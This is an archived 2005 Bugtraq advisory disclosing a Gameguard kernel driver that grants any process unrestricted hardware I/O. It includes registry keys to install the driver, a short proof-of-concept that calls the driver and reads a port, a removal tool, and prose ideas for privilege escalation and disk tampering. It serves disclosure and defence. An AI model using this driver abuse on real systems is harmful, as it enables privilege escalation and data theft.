

# Unrestricted I/O access vulnerability in INCA Gameguard

**Source:** <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2005-01/0210.html>

---

**From:** Ryu Connor (*Hellfire\_at\_unspacy.com*)

**Date:** 01/17/05

To: <bugtraq@securityfocus.com>

Date: Sun, 16 Jan 2005 19:30:29 -0500

Source of security hole:

INCA nProtect Gameguard

Methods of propagation:

<http://eng.nprotect.com/partner.htm>

Vulnerable Operating Systems:

Windows 2000

Windows XP

Windows 2003

Non-Vulnerable Operating Systems:

Windows 9x

Vulnerability:

nProtect Gameguard is an application bundled with multiplayer games which hides the game application process, monitors the entire memory range, terminates applications defined by the game vendor and INCA to be cheats, blocks certain calls to DirectX functions, and auto-updates itself.

To achieve some of these ends the program uses a kernel driver by the name of nppt9x.vxd (Windows9x) and npptnt2.sys (Windows NT).

Due to the nature of Windows 9x design, the vulnerability we are about to discuss has no bearing. A malicious individual could achieve the same ends on Windows 9x without the need of the npptnt2.vxd driver.

This kernel mode driver allows any process to access it, and it modifies the I/O permission mask for the calling process to allow unrestricted I/O in user mode. The design of modern operating systems does not generally allow for any I/O access from user mode code for system stability and security.

The driver uses undocumented kernel function Ke386SetIoAccessMap and Ke386IoSetAccessProcess to achieve this; the driver is very similar to the PortTalk sample available at

## SecurityFocus Bugtraq: Unrestricted I/O access vulnerability in INCA Gameguard

<http://www.beyondlogic.org/porttalk/porttalk.htm>.

Allowing a process unrestricted I/O access has the following risks:

1. If the process behaves unexpectedly (for example, a stack corruption returning to arbitrary code), I/O instructions could be issued, leading to potential problems with the system, bad data, etc.
2. A malicious process could elevate its privilege level on the system by using direct hardware access to read / write the hard disk, program the DMA controller, etc., or it could damage the system by resetting CMOS, formatting the hard drive, etc.

The driver is installed as a system service. Even when Gameguard and the multiplayer game(s) are closed, the driver continues running. The driver is accessible under a non-admin account and is activated every boot. It does not uninstall when the application is removed and in fact will not even uninstall if selected in Device Manager and told to uninstall. The driver must be deleted manually, and the registry must be edited to remove the remaining reference.

It is true that even with this vulnerability the user must still be tricked into running a malicious application that exploits it. However, in South Korea, where the Gameguard service is widely used, net cafes have become part of the social fabric. These machines are ripe fruit for damage.

At the more challenging level, one could use this hardware access to turn the PC into a zombie. One could datamine information (bypassing NTFS permissions), commit DDoS attacks, or escalate privileges on the system, by putting the IDE controller into PIO mode, searching the disk for the system DLLs, and replacing them with code altered to grant admin privilege. The possibilities at this level of hardware access are nearly endless.

The nProtect Gameguard program is very rare here in North America, despite the impressive partner list of INCA. It would be premature, however, to presume that the installed base for this exploit is tiny. Just two of the games on the INCA partner list – Lineage I and Lineage II – have a total of four million active subscribers worldwide. This is not including the users who have cancelled their accounts with a game service that uses Gameguard, or future buyers who will purchase a game service that uses Gameguard.

Reproduction and Proof of Concept:

See attached NPPTNT2Access.cpp for proof of concept attack.

See [http://www.lineage2.com/pds/pds\\_ts\\_client.html](http://www.lineage2.com/pds/pds_ts_client.html) to download the Lineage II PTS client, which is bundled with Gameguard. Please make sure to run the lineageii.exe in order to patch up to the newest version. The driver is not initially installed until the first login to the game world. In order to install the driver without having an active subscription, please add the following registry keys, which are standard for a non-PnP or NT4-style driver, and reboot.

## SecurityFocus Bugtraq: Unrestricted I/O access vulnerability in INCA Gameguard

Windows Registry Editor Version 5.00

```
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NPPTNT2]
```

```
"Type"=dword:00000001
```

```
"Start"=dword:00000001
```

```
"ErrorControl"=dword:00000001
```

```
"ImagePath"=hex(2):5c,00,3f,00,3f,00,5c,00,43,00,3a,00,5c,00,57,00,49,00,4e,  
00,\
```

```
44,00,4f,00,57,00,53,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,\
```

```
00,5c,00,6e,00,70,00,70,00,74,00,4e,00,54,00,32,00,2e,00,73,00,79,00,73,00,\  
00,00
```

```
"DisplayName"="NPPTNT2"
```

```
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NPPTNT2\Security]
```

```
"Security"=hex:01,00,14,80,90,00,00,00,9c,00,00,00,14,00,00,00,30,00,00,00,0  
2,\
```

```
00,1c,00,01,00,00,00,02,80,14,00,ff,01,0f,00,01,01,00,00,00,00,00,01,00,00,\
```

```
00,00,02,00,60,00,04,00,00,00,00,00,14,00,fd,01,02,00,01,01,00,00,00,00,00,\
```

```
05,12,00,00,00,00,00,18,00,ff,01,0f,00,01,02,00,00,00,00,00,05,20,00,00,00,\
```

```
20,02,00,00,00,00,14,00,8d,01,02,00,01,01,00,00,00,00,00,05,0b,00,00,00,00,\
```

```
00,18,00,fd,01,02,00,01,02,00,00,00,00,00,05,20,00,00,00,23,02,00,00,01,01,\  
00,00,00,00,00,05,12,00,00,00,01,01,00,00,00,00,00,05,12,00,00,00
```

```
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NPPTNT2\Enum]
```

```
"0"="Root\LEGACY_NPPTNT2\0000"
```

```
"Count"=dword:00000001
```

```
"NextInstance"=dword:00000001
```

Solutions/Fixes:

nProtectRemover.cpp source has been provided to allow the creation of a self-removal tool.

It is important to note the following:

Under an admin account, Gameguard will automatically replace any deleted piece of itself upon the launching of the game application. Under a non-admin account, the game application will not even function without the driver in place. The user is forced, by fears of being compromised or by the simple fact that the game will not run, not to play at all. The alternative is for the user to exercise extreme caution in the applications he or she chooses to run. Virus scanners will not detect or warn a user in advance. In light of these issues, the burden upon the user is very high.

## SecurityFocus Bugtraq: Unrestricted I/O access vulnerability in INCA Gameguard

References:

[http://eng.nprotect.com/nprotect\\_gameguard.htm](http://eng.nprotect.com/nprotect_gameguard.htm)

<http://eng.nprotect.com/index.html>

<http://www.inca.co.kr/>

<http://eng.nprotect.com/partner.htm>

<http://www.mmogchart.com/>

<http://www.beyondlogic.org/porttalk/porttalk.htm>

[http://www.lineage2.com/pds/pds\\_ts\\_client.html](http://www.lineage2.com/pds/pds_ts_client.html)

Credit:

The North American Lineage II Community.

-NPPTNT2Access.cpp

```
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows
headers
#include <stdio.h>
#include <tchar.h>

#include <windows.h>
#include <winioctl.h>
#include <conio.h>

int main(int argc, char* argv[])
{
    bool bCall = true;

    // check args - if there is an arg and it is 0, don't call the IO control.
    if (argc > 1 && 0 == strcmp(argv[1], "0"))
    {
        bCall = false;
    }

    puts("Opening \\.\.\NPPTNT2\r");
    HANDLE hFile = CreateFile("\\.\.\NPPTNT2", 0, 0, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0);

    if (hFile != INVALID_HANDLE_VALUE)
    {
        if (bCall)
        {
            puts("Calling DeviceIoControl\r");
            DWORD dwRet = 0;
            // Take this line out and the _inp will give you an AV
            DeviceIoControl(hFile, 0x958A2568, 0, 0, 0, 0, &dwRet, 0);
        }

        puts("About to _inp(0x378)\r");
    }
}
```

## SecurityFocus Bugtraq: Unrestricted I/O access vulnerability in INCA Gameguard

```
    __try
    {
        _inp(0x378);
    }
    __except(1)
    {
        puts("Failed reading port\r");

        return 0;
    }

    puts("Success reading port\r");

    CloseHandle(hFile);
}
else
{
    puts("Driver not found\r");
}

return 0;
}
```

-nProtectRemover.cpp

```
//nProtectRemover, delete the security threat nProtect from your system.
//Coded by MugiMugi
//I dont take any responsibility if this harm your system, but I higly doubt
it will.
```

```
#include <windows.h>
#include <winsvc.h>
#include <winbase.h>
#include <string>
#include <iostream>
```

```
bool StopService(LPCTSTR pszInternalName);
bool ServiceRemove(LPCTSTR pszInternalName);
```

```
int main(int, char**) {
    std::string tmp;
    std::cout << "This app will remove nProtect from your system, do you want
to continue type YES with big letters?\n:> ";
    std::cin >> tmp;
    if (tmp!="YES")
        return 0;
    std::cout << "Removing nProtect" << std::endl;

    //Stoping npptnt2 service
    if (!StopService("npptnt2"))
    {
```

## SecurityFocus Bugtraq: Unrestricted I/O access vulnerability in INCA Gameguard

```
std::cout << "Unable to stop device npptnt2" << std::endl;
return 0;
}

//deleting npptnt2 service
if (!ServiceRemove("npptnt2"))
{
    std::cout << "Unable to delete device npptnt2" << std::endl;
    return 0;
}

//Deleting the registry stuff

RegDeleteKey(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\NPPTNT
2\\Security");

RegDeleteKey(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\NPPTNT
2\\Enum");

RegDeleteKey(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\NPPTNT
2");

//Deleting npptnt2.sys and nppt9x.vxd
char buffer[MAX_PATH];
GetSystemDirectory(buffer,MAX_PATH);
std::string base(buffer);
std::string filename = base + "\\npptnt2.sys";
DeleteFile(filename.c_str());
filename = base + "\\nppt9x.vxd";
DeleteFile(filename.c_str());

//Bye bye
return 0;
}

// Stop service
bool StopService(LPCTSTR pszInternalName) {
    SC_HANDLE hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);

    if (NULL == hSCM)
        return false;

    SC_HANDLE hService = OpenService(hSCM, pszInternalName, SERVICE_STOP);

    if (NULL == hService)
    {
        CloseServiceHandle(hSCM);
        return false;
    }
}
```

## SecurityFocus Bugtraq: Unrestricted I/O access vulnerability in INCA Gameguard

```
SERVICE_STATUS ss;
bool bSuccess = ControlService(hService, SERVICE_CONTROL_STOP, &ss);

    CloseServiceHandle(hService);
    CloseServiceHandle(hSCM);

    return bSuccess;
}

// Remove service
bool ServiceRemove(LPCTSTR pszInternalName) {
    SC_HANDLE hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);

    if (NULL == hSCM)
        return false;

    SC_HANDLE hService = OpenService(hSCM, pszInternalName, DELETE);

    if (NULL == hService)
    {
        CloseServiceHandle(hSCM);
        return false;
    }

    bool bSuccess = DeleteService(hService);

    CloseServiceHandle(hService);
    CloseServiceHandle(hSCM);

    return bSuccess;
}
```